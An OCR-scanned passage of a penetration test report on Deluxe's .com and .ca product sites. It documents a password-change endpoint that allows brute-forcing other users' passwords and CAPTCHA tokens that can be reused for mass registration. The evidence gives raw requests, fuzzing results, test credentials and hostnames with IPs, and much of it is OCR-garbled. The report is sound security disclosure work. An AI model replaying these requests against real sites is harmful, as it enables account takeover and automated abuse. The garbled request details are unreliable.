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M.3 Weak Change Password Functionality

CVSSv3 MEDIUM
AV:N/AC:L/PR:N/UI:N/S:U/C:L/1:N/A:N 53

FINDING

The application does not enforce any security measures to change password forms. This condition
allows attackers to brute force user accounts without any risk of locking out an account. This is
considered a medium risk since user accounts are frequently targeted and passwords brute forcing
is one of the primary methods an attacker will exploit to gain access.

The discovered password change request contains the user email address. By changingitto another
valid one, it is possible to enumerate valid password to another account. As evidence of successful
bruteforce, the application response will notify about unsuccessful password change due to its
similarity with the previous one.

RECOMMENDATION

Implement an account lockout policy for a certain amount of time to prevent attackers from
accounts brute forcing. Depending on the application’s purpose, a range of 5 to 10 unsuccessful
attempts is a typical lockout threshold.

Implementa CAPTCHA on the page in a way that forces users to fill out the CAPTCHA before
the request is completed.

REFERENCES

https://owasp.org/www-community/controls/Blocking Brute Force Attacks

https://owasp.org/www-community/attacks/Brute force attack

https://owasp.org/www-project-automated-threats-to-web-applications/

AFFECTED APPLICATIONS

| Host | 1P
www.deluxe.com/products 104.94.100.171
www.deluxe.ca/en-ca/products 92.123.189.49
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EVIDENCE A

URL: https://www.deluxe.com/products/secure/myaccount/profilepassword.cshtml
Authentication: Required

Password change functionality can be used for brute-forcing of valid email/password pairs. Valid
and invalid credentials could be distinguished by the application response.

Invalid password:
PUT Request: https://www.deluxe.com/products/api/customer/current/account/password

PUT https://www.deluxe.com/products/api/customer/current/account/password HTTP/1.1
Host: www.deluxe.com

email=test_proddeluxeproducts_1%40 existingPassword=testinewPassword=0W
confirmPassword=0W

Response

Header: Text - Body: Text ~ | | E] [T

HTTR/1.1 200 OK
:"Provided credentials could not be authenticated. Changes to your account have not been sa)

Valid password:

PUT https://www.deluxe.com/products/api/customer/current/account/password HTTP/1.1
Host: www.deluxe.com

email=test proddeluxeproducts%40 existingPassword=0w newPassword=
Qun confirmPassword=0w
Response
Header: Text ~ | Body: Text v | | [E] =
HTTP/1.1 280 OK
q 110, :"The new password must be different from the current password."}}

It is also worth noting that the application does not verify whether the email address to which the
user changesthe password is related to the currentaccount, which allows brute-forcing passwords
of other users' accounts.
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EVIDENCE B

URL: https://www.deluxe.ca/en-ca/products/secure/myaccount/profilepassword.cshtml
Authentication: Required

Password change functionality can be used for brute-forcing of valid email/password pairs. Valid
and invalid credentials could be distinguished by the application response.

Invalid password:

PUT Request: https://www.deluxe.ca/en-
ca/products/api/customer/current/account/password

PUT https://www.deluxe.ca/en-ca/products/api/customer/current/account/password HTTP/1.1
Host: www.deluxe.ca

email=test proddeluxecaproducts 1%40 existingPassword=testinewPassword=
(QWEasd123!tconfirmPassword=0WEasd123!

Response

Header: Text ~ | Body: Text ~ | [ IE] =
HTTP/1.1 200 OK

:"Provided credentials could not be authenticated. Changes to your account have not been

Valid password:

PUT https://www.deluxe.ca/en-ca/products/api/customer/current/account/password HTTP/1.1
Host: www.deluxe.ca

email=test proddeluxecaproducts40 existingPassword=(wertyl234! newPassword=
Qwertyl234!iconfirmPassword=Qwertyl234!

Response
Header: Text ~ Body: Text ~ | | =] =
HTTR/1.1 200 OK
q{ 110, :"The new password must be different from the current password."}}

It is also worth noting that the application does not verify whether the email address to which the
user changesthe password is related to the currentaccount, which allows brute-forcing passwords
of other users' accounts.
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Bruteforce password, by fuzzing it in all three parameters:
Task ID ~ Code Reason RTT  Size Resp. Header Size Resp. Body  Payloads

1 200 OK 1.15s 1,813 bytes 138 bytes ImvalidPass1
2 200 0K 1.3 s 1,813 bytes 138 bytes InvalidPass2
3 200 OK 1.3s 1,813 bytes 138 bytes ImvalidPass3
4 200 0K 1.31s 1,813 bytes 138 bytes InvalidPass4
5 200 OK 1.2s 1,813 bytes 138 bytes ImvalidPass5s
6 200 0K 1.25s 1,813 bytes 138 bytes InvalidPasse
7 200 OK 1.18s 1,813 bytes 138 bytes ImvalidPass7
8 200 0K 1.28s 1,813 bytes 138 bytes InvalidPass8
9 200 OK 1.28s 1,813 bytes 138 bytes ImvalidPassS
10 200 OK 1.27 s 1,813 bytes 138 bytes InvalidPass10
11 200 QK 1,813 bytes 107 bytes Qwertyl1234!
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M.4Weak Captcha Mechanism

CVSSv3 MEDIUM
‘ Vector AV:N/AC:L/PR:N/UI:N/S:U/C:L/1:N/A:N 53
FINDING

During penetration testing it was found that the application uses a weak CAPTCHA mechanism.
Current CAPTCHA implementation allows the usage of the same token multiple times.

CAPTCHA is afreeservice thathelps protectwebsitesfrom abuse. Itisa Turing test to tell humans
and bots apart. It is easy for humans to solve, but hard for “bots” and other malicious software to
figure out. By adding a weak CAPTCHA mechanism, a website is at the same risk as without the
implementation of the mechanism.

RECOMMENDATION

To resolve the detected vulnerability, the application should track and restrict usage of the
CAPTCHA multiple times.

REFERENCES

https://owasp.org/www-project-automated-threats-to-web-applications/

https://www.comodo.com/business-security/email-security/anti-spam-captcha.php

AFFECTED APPLICATIONS

| Host | 1P
www.deluxe.com/products 104.94.100.171
www.deluxe.ca/en-ca/products 92.123.189.49
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EVIDENCE A

URL:

https://www.deluxe.com/products/secure/myaccount/createaccount.cshtml?redirect url=%
2fen-ca%?2fproducts%o2f

Authentication: Not required

The application “Registration” feature uses CAPTCHA tokens against automated attacks that
should prevent from sending multiple authorized requests.

POST https://www.deluxe.com/products/secure/myaccount/createaccountconfirmation.cshtml HTTP/1.1

Host @ www.deluxe . com

hdn_customer_type id=ltredirect_url=%2Fproducts%2Fsecure%2Fmyaccount%2Fprofilepassword.cshtmlt

hdn_ _country_id=1thdn_auth_token=

re2F c%2FvX89S3%2B2FdNNHAdK6 Vuk dWpU3g%2BaU8NA2ul tmIhImGHqhzT1706bxx8LsyhDHSE93NtBxgxeY%:2F qSDMPNGE2AKAyR
1KM%2F%2BhXT1GV3061zEcpliJTuf7zZEtL1v6X%2B728QPMr0C2DHI a8 1 fmR7wvYVS3AskdnYdSrwyctXfddNNju4XA7pQaNz0jAv
oulrud5B8HLChnMkVVWEx1uZ7Y tbBREcU%2F%2FhNdPIKS4Kc15XsjrmwIAyIreilaommwF JnaSg8LqVUbceo64ISNYuq0jIif7R2S
x4NousICkNSv%:2F0gqI%2BWZsNOKT j t%2F j xPxEsjq0D%2B8WxN4nfx%2BBADQoEKBRtcwZPtSsTmFqduwt0aWiZ8BRIG2ppKnGn2Y
Fpd7ay14%2BFAgszpZPTcWUT gwV fOUmXzWkuOUmvajzdlwwmu7gZZbLSUqsATul%s2Fi1UKSELCyj094VYYZ7hsKWVgyfZnI8KNXUaIW
QWbxdeidgoc19jDwns8%2FAb0ZRwB0Jo00kToyE90iovhXtLKdadpP86nIGge1DAOpYe8RIN1VNKS5xXS7EQiZiduRpdx8JAhqtBOMr
02X6PdNX2sDkCNx4Ww17x0M1u20WdQuVimlnPiONMZDjGTi0NMMEJC10tRT4VR6p4%2B1lk07scDex0Z289a0d6DqA8ItdSTdDGb2q%2
BSWPgxLuP%2F9Z0XhSiX1YmgeQUiS00703%2BajI0W041W516F otKUap%2Bb%2B%2BswkabI CR91JA703R0k jg5ErChfuC%2Fmss2Bu
9IWAWazZIdqGXch4h3PkntVPtbkpmi%s2F01lc6rmQZKIDogDBgl1aC37C1UCTbVIBEOyu798nmhoobg%3D%3DE
hdn_recaptcha_response=

03AEKX0DCdE0aA87qAQILPMLKyCKkVUAZzoHdELT jCOCSTetLhVa7oInhC2CFwXGNtTpBD1HeqZJkv_Lqk9vTjMNST - fKaF2FTNLFfR
u8SGBTNvzimmOMmHnzu-C8LiIfVuZrF3cJUu5u7rTg7nmEP0S05-8xArEh7cR-Spjn1XVCnPGQ6niD4zxH_AInhPcM4sgonrN6coj-
3dkYhNWj - akEwiVgmFgPRN86Qc312M2DmP XWm0jn74HrZpP -YwFV0gxfIFbiVS3P IwzjLRFCvufGwwlrCtF1TDsFObqis2d4rAndHt
THxNFmHiWdyEBLNZS13QjQLybHbcpwFOR0o70anDTEJkCI7XCy0dCriKcP04ubibOdHTYSyXj0-QULWcjAxNx1-mMNHCvNSTSguNsF]
WALOChgPxf_plSMamCkmmPEuarDSpW2j0QjqZjBdpRLN1fX-Y681Z00EtqaDb50-NHIYN2GANSJgMfpdzxiqI JRM | pleDSGH]HPJuD
r38ACcdaNG31t-cuWIO1IvtEx34p rNBRcxgUQthdn_email=test proddeluxeproducts_1%40

g-recaptcha-response=

03AEKX0DCdE0aA87qAQILPMLKyCKkVUAZzoHdELT jCOCSTetLhVa7oInhC2CFwXGNtTpBD1HeqZJkv_Lqk9vTjMNST - fKaF2FTNLFfR
u8SGBTNvzimmOMmHnzu-C8LiIfVuZrF3cJUu5u7rTg7nmEP0S05-8xArEh7cR-Spjn1XVCnPGQ6niD4zxH_AInhPcM4sgonrN6coj-
3dkYhNWj - akEwiVgmFgPRN86Qc312M2DmP XWm0jn74HrZpP -YwFV0gxfIFbiVS3P IwzjLRFCvufGwwlrCtF1TDsFObqis2d4rAndHt
THxNFmHiWdyEBLNZS13QjQLybHbcpwFOR0o70anDTEJkCI7XCy0dCriKcP04ubibOdHTYSyXj0-QULWcjAxNx1-mMNHCvNSTSguNsF]
WALOChgPxf_plSMamCkmmPEuarD5pW2jQjqZjBdpRLN1TX-Y681Z00EtqaDb50-NHIYN2GANSIgMfpdzxiqIJRM_ plsYD5GHHPJuD
r38ACcdaNG31t-cuWIO1IvtEx34p rNBRcxgUQitxt_newpassword=Qwertyl234%215txt_confirmpassword=Qwertyl234%21

Response

Header: Text - | Body: Text ~ | [E O
HTTP/1.1 302 Moved Temporarily

<html=<head><title=0bject moved</title=</head=<body=>
<h2=0bject moved to <a href="/products/secure/myaccount/profilepassword.cshtml">here</a=>.</h2>

However, due to the lack of verification of token usage, the application does not reject requests
that go after the original request.

POST Request:
https://www.deluxe.com/products/secure/myaccount/createaccountconfirmation.cshtmli

Task ID ~ Code Reason RTT Size Resp. Header Size Resp. Bo... Payloads

1 302 Moved Termporarily 742 ms 3,116 bytes 175 bytes test_proddeluxeproducts 2@
2 302 Moved Temporarily 585 ms 3,116 bytes 175 bytes test_proddeluxeproducts_3@
3 302 Moved Temporarily 686 ms 3,116 bytes 175 bytes test_proddeluxeproducts_4@
4 302 Moved Temporarily 857 ms 3,117 bytes 175 bytes test_proddeluxeproducts_5@
5 302 Moved Temporarily 605 ms 3,116 bytes 175 bytes test_proddeluxeproducts_6@
6 302 Moved Temporarily 565 ms 3,116 bytes 175 bytes test_proddeluxeproducts 7@
7 302 Moved Temporarily 729 ms 3,117 bytes 175 bytes test_proddeluxeproducts_8@
8 302 Moved Temporarily 1.45s 3,117 bytes 175 bytes test_proddeluxeproducts_ 9@
9 302 Moved Temporarily 947 ms 3,117 bytes 175 bytes test_proddeluxeproducts_10@

10 302 Moved Temporarily 595 ms 3,116 bytes 175 bytes test_proddeluxeproducts_11@

11 302 Moved Temporarily 559 ms 3,116 bytes 175 bytes test_proddeluxeproducts_12@
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As a result it allows the registration of an unlimited number of users without any restrictions.

Inbox

O

Deluxe Confidential

Focused Other =

External 'Deluxe’ via Pentest Group
Yay, test! Your account’s been crea...  13:39
Thanks for creating your account. 855.833.5...

External 'Deluxe’ via Pentest Group
Yay, test! Your account’s been crea...  13:39
Thanks for creating your account. 855.833.5...

External 'Deluxe’ via Pentest Group
Yay, testl Your account’s been crea...  13:39
Thanks for creating your account. 855.833.5...

External 'Deluxe’ via Pentest Group
Yay, test! Your account’s been crea...  13:39
Thanks for creating your account. 855.833.5...

External 'Deluxe’ via Pentest Group
Yay, test! Your account’s been crea...  13:39
Thanks for creating your account. 855.833.5...

External 'Deluxe’ via Pentest Group
Yay, test! Your account’s been crea...  13:39
Thanks for creating your account. 855.833.5...

External 'Deluxe’ via Pentest Group
Yay, test! Your account’s been crea...  13:39
Thanks for creating your account. 855.833.5...

External 'Deluxe’ via Pentest Group
Yay, test! Your account’s been crea...  13:39
Thanks for creating your account. 855.833.5...

External 'Deluxe’ via Pentest Group
Yay, test! Your account’s been crea...  13:39
Thanks for creating your account. 855.833.5...

External 'Deluxe’ via Pentest Group
Yay, testl Your account’s been crea...  13:39
Thanks for creating your account. 855.833.5...

External 'Deluxe’ via Pentest Group
Yay, test! Your account’s been crea...  13:39
Thanks for creating your account. 855.833.5...

External 'Deluxe’ via Pentest Group

Filter

Yay, test! Your account’s been created! ¢
. Lo & =

o 'Deluxe’ via Pentest Group ! A
To: test_proddeluxeproducts_13@ Fri 2022-11-2¢

Thaniks for creating your account

deluxe

Welcome, test.

[ s3ae33.8m3
R Account
[] CustomerHeipbdelue co

We're excited that you've taken the time to set up your account with us!
Sign in and check it out!

If you find you have any questions at all, please feel free to contact us by

calling 855.833.5893.

We're thrilled you're here and look forward to workimg with you!

Call one of our experts at: 855.833.5893
Monday - Friday 8:30 am - 6:00 pm EST

©

NO-RISK GUARANTEE

& K

(ON-CALL ASSISTANCE PERSONAL DESIGN SUFP

deluxe

Account | Retums & Replacements | Privacy & Terms

Deiee | F.0.Box 418039 Rancho Cordova, CASI741-5079 | B31.B33 2653

2022 Dehue Corporation | DXAZZIDACCT

deluxe

trasbod Business Lo ivslogy



49

EVIDENCE B

URL.: https://www.deluxe.ca/en-
ca/products/secure/myaccount/createaccount.cshtml?redirect url=%2fen-
ca%2fproducts%o2f

Authentication: Not required

The application “Registration” feature uses CAPTCHA tokens against automated attacks that
should prevent from sending multiple authorized requests.

POST https://www.deluxe.ca/en-ca/products/secure/myaccount/createaccountconfirmation.cshtml HTTP/1.1
Host: www.deluxe.ca

hdn_customer_type id=1iredirect url=%2Fen-ca%2Fproducts%2Fihdn_country id=1thdn_auth_tokenf
L%2BMze0G4UkkUjBEYQCi8BXdoBM7BXdwOjmfhcHwrAUlqgqCq3al2R6DH3vRdj4veruGd7Vm9IrdMXGBjrgaPvDYMLIWiPWN8zbEK
c2(QbHbk0TnWBqDA%2BU3GGUeel Dh3uREXrWhtBjCpvToSjOuBBaarMzull1Fn1d0dud3KsxpPBRISrLTMY1RZc0%2BciK31d00qu
Pq5IHfrF0e jMZUnXCEamgCBWaWk1gvEnugCSmgUIGgfwolp%2FHI0Wp8zB8EqiT iaKMwzFPyy8273K8Cyc7Tf6rATs4BHiktc%2Fcr
InZS%2Ftas jNe7ztV%2FYQpEvyxMgreCGaAoVXef9aBq8jQON16Hvg6L iMtNcoRPm3%2FWg5RozsHEWS:2BlosaxsJZUJEj9v:2Fq
fiesreoKaiHEy9NGoL7v5RFD7fIdZYQ0milUJIXCXxF7KVFgAYmLMA6%2F qcGpuaEhms2FbMBT OFH5%2B0zDNQvx0R3cg%2BdT7Kh
8zEuLotyyJ5CfB4Si5tihH2wOTnt5rJiYInLCvHyHRpt17N3XuKNreDPoCk0oUrhS1CIZuAZ7ggYbmwz2Y JzdaF 87668 4M8ZHUT
gLes0%2FTa0m00v/WL6qsXGMsB80CcV%:2BSd1Dp6z5meWvXodemq7 IEYUBnsNqULcUY trQh3DAuH4uR13tjiQVorakCkpw7%2BuxB
ZWSiD2fBLS0AuDz40KOPWPd5VMVz JK1pOKXEwUbnGuHg8D5mSLMkUiN2amHdmj aHuWpCWxY0iF1gYdEN1IgF91tVDv97CjasF1F8
Bz6crQLBUF twBqrvamKhA0%2F4es0gqae2t0Iouq2YoBNIrq8iQDihdn_recaptcha_response=
03AEkKX0DDip5vqG_bTrMKdJqzGrjLUKCF8NyDV_HY86bW2Ww5wiF _6ezjuri_aVNOOOEAkjh8oZnw25haB8_GWniJMQZTLCvtWsS
R-VFtlQaGi-GsNNsOEyC2Cg6YKbNOIp2qfuGPgE FkDUBBuU-GsL6KIV2CZXmzGTwBCw6VQFD0OqGEI - ZWwWEXFSION1UelNIa4Pa51
STy t3VOb91LMfMCsej29WH10o33MQ18xmEWKEtTCSKYq MwCx1gJb3YTuDeDUtP y9abWwaXpwHUzcn7kHbE-UpKpTHIpnwpIoz d
AA9qeA4pIpCw0IcAyp98521d3c0YicRFShqyXG1BsjtGmBBLHRMzc355TANr5041ygZlcoIwfe 7L1X1nlz_3LxbUojFQVza Nly
eBGgeRRVIU DWUbPoHvOkilXbpozlmpjmL MKEX0S RtDOTxySwzbEQI-VFNudRIBNbz51NQ0Zg2QLIiz50Q081e94VrExjjelRGH
TAOstNsOgTK1plUGGWBi83xilSthdn_email=test_proddeluxecaproducts_2%40 vg-recaptcha-response=
03AEKX0DDip5vqG bTrMKdJqzGrjLUKCF8NyDV_HY86bW2WwSwiF 6ezjuri aVNOOOEAkjh8oZnw25haB8 GWniJMQZTLlCvtWsS
R-VFtlQaGi-GsNNsOEyC2Cg6YKbNOIp2qfuGPgE_FkDUBBuU-GsL6kIV2CZXmzGTwBCw6VQFD0qG6I - ZWWEXFSIOn1UelNIa4Pa51
STy t3VOb91LMTMCsej29WH10o33MQ18xmEWKtTCSKYq MwCx1gJb3YTuDeDUtP y9abWwaXpwHUzcn7kHbE-UpKpTHIpnwpIloz d
AA9qeA4pIpCw0IcAyp985Z71d3c0YicRFShqyXG1BsjtGmBBLHRMzc355TANr5041ygZlcoIwfe 7LIX1nlz_3LxbUojFQVza Nly
eBGgeRRVIU_DWUbPoHvOkilXbpozlmpjmL_MkEX0S_RtDOTxyS5wzbEQI-VFNudRIBNbz51NQ0Zg2QLIiz50081e94VrExjjelRGH
TAOstNsOgTK1plUGGWBi83xilSitxt newpassword=Qwertyl234%210txt confirmpassword=Qwertyl234%21¢

Response

Header: Text - | Body: Text ~ | | IEl =

HTTP/1.1 302 Moved Temporarily

<html=<head=<title=0bject moved</title=</head=<body=>
<h2=0bject moved to <a href="/en-ca/products/"=here</a=.</h2>

However, due to the lack of verification of token usage, the application does not reject requests
that go after the original request.

POST Request: https://www.deluxe.ca/en-
ca/products/secure/myaccount/createaccountconfirmation.cshtml

Task ID ~ Code Reason RTT Size Resp. Header Size Resp. Body Payloads

1 302 Moved Temporarily 897 ms 3,079 bytes 142 bytes test_proddeluxecaproducts_3%40
2 302 Moved Temporarily 678 ms 3,079 bytes 142 bytes test_proddeluxecaproducts_4%40
3 302 Moved Temporarily 603 ms 3,079 bytes 142 bytes test_proddeluxecaproducts_5%40
4 302 Moved Temporarily 603 ms 3,079 bytes 142 bytes test_proddeluxecaproducts_6%40
5 302 Moved Temporarily 727 ms 3,079 bytes 142 bytes test_proddeluxecaproducts_7%40
6 302 Moved Temporarily 656 ms 3,079 bytes 142 bytes test_proddeluxecaproducts_8%40
7 302 Moved Temporarily 615 ms 3,079 bytes 142 bytes test_proddeluxecaproducts_S9%40
8 302 Moved Temporarily 658 ms 3,079 bytes 142 bytes test_proddeluxecaproducts_10%40
9 302 Moved Temporarily 576 ms 3,079 bytes 142 bytes test_proddeluxecaproducts_12%40

10 302 Moved Temporarily 743 ms 3,079 bytes 142 bytes test_proddeluxecaproducts_13%40

11 302 Moved Temporarily 932 ms 3,079 bytes 142 bytes test proddeluxecaproducts 14%40

As a result it allows the registration of an unlimited number of users without any restrictions.
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Inbox 12 O

Deluxe Confidential

Focused Other =
External 'Deluxe Canada' via Pentest Gr...

Yay, test! Your account’s been creat...  13:51
Thanks for creating your account. 877.632.7...

External 'Deluxe Canada' via Pentest Gr...
Yay, test! Your account’s been creat...  13:51
Thanks for creating your account. 877.632.7...

External 'Deluxe Canada’ via Pentest Gr...
Yay, test! Your account’s been creat...  13:51
Thanks for creating your account. 877.632.7...

External 'Deluxe Canada’ via Pentest Gr...
Yay, test! Your account’s been creat...  13:51
Thanks for creating your account. 877.632.7...

External 'Deluxe Canada’ via Pentest Gr...
Yay, test! Your account’s been creat...  13:51
Thanks for creating your account. 877.632.7...

External 'Deluxe Canada' via Pentest Gr...
Yay, test! Your account’s been creat...  13:51
Thanks for creating your account. 877.632.7...

External ‘Deluxe Canada’ via Pentest Gr...
Yay, test! Your account’s been creat...  13:51
Thanks for creating your account. 877.632.7...

External ‘Deluxe Canada’ via Pentest Gr...
Yay, test! Your account’s been creat...  13:51
Thanks for creating your account. 877.632.7...

External 'Deluxe Canada' via Pentest Gr...
Yay, test! Your account’s been creat...  13:51
Thanks for creating your account. 877.632.7...

External 'Deluxe Canada’ via Pentest Gr...
Yay, test! Your account’s been creat...  13:51
Thanks for creating your account. 877.632.7...

External 'Deluxe Canada' via Pentest Gr...
Yay, test! Your account’s been creat...  13:51
Thanks for creating your account. 877.632.7...

External
Yay, test! Your account’s been crea...

‘Deluxe Canada’ via Pentest Gr...
13:50

Filter

Yay, test! Your account’s been created!

'Deluxe Canada’ via Pentest Group
To: test_proddeluxecaproducts_14@

Thartks for cresfing your sccourk,

dg}uxe_

Welcome, test.
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We're excited that you've taken the fime to set up your account with us!

Sign in and check it out!

If you find you have any questions at all,

calling 877.632.7758.

please feel free to contact us by

We're thrilled you're here and look forward to working with you!

Call one of our experts at:

877.632.7758

Monday - Friday 8:30 am - 6:00 pm EST

© ®
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OM-CALL ASSISTANCE
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APPENDIX A: Testing Procedure

The testing methodology that the GFL team follows is based on Penetration Testing Execution
Standard (PTES), Technical Guide to Information Security Testing and Assessment (NIST 800-
115), and OWASP.

The testing process consists of the following stages:

Pre-engagement Interactions. In this phase, the scope and rules of engagement are defined. This
includestarget identification and validation, time frame definition, testingtype and attack scenario
discussion, escalation and disaster recovery procedures negotiation, etc.

Intelligence Gathering. The intelligence-gatheringphase isaimed at collectinginformation about
the target thatwill enable an attackerto build a picture of technical details behind an organization's
network: details on server technology, available services, etc.

Threat Modeling. This phase implies the analysis of information collected during Intelligence
Gathering; targets and attack vectors are identified.

Vulnerability Analysis. This is a process of discovering flaws and misconfigurations in systems
and applications that can be leveraged by attackers.

Exploitation. The exploitation phase of a penetration test focuses solely on establishing access to
a systemor resource by bypassingsecurity restrictions. The pointisto identify the main entry point
into the organization and to identify high-value target assets.

Post Exploitation. Actions taken in the Post-Exploitation phase are targeted at the determination
of the value of the compromised system and identifying what data, access, and level of control can
be obtained by an attacker.

Reporting and Delivery. At this stage all active phases of research and exploitation are complete.
The team analyses discovered vulnerabilities and assesses severity level from generic technical
and organization specifics viewpoints. Findings, evidence, and recommendations are documented
in the Penetration Testreportand delivered to the responsible parties negotiated at Pre -engagement
Interactions.
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APPENDIX B: Tools

The basis of the software used for penetration testing is Kali Linux distribution with many pre-
installed programs designed primarily for security tests.

The main applications used are:

- Nmap

- Netcat

- Mozilla FireFox with different plug-ins

- Nessus Vulnerability Scanner (stand-alone proprietary tool)

Periodically, other tools like:

- OpenVAS

- Arachni

- VegaNikto

- w3af and others are utilized for additional and/or cross-checking.

All mentioned applications are used in the first stages of penetration testing. Vulnerabilities
identified with the help of these tools are afterward verified manually.
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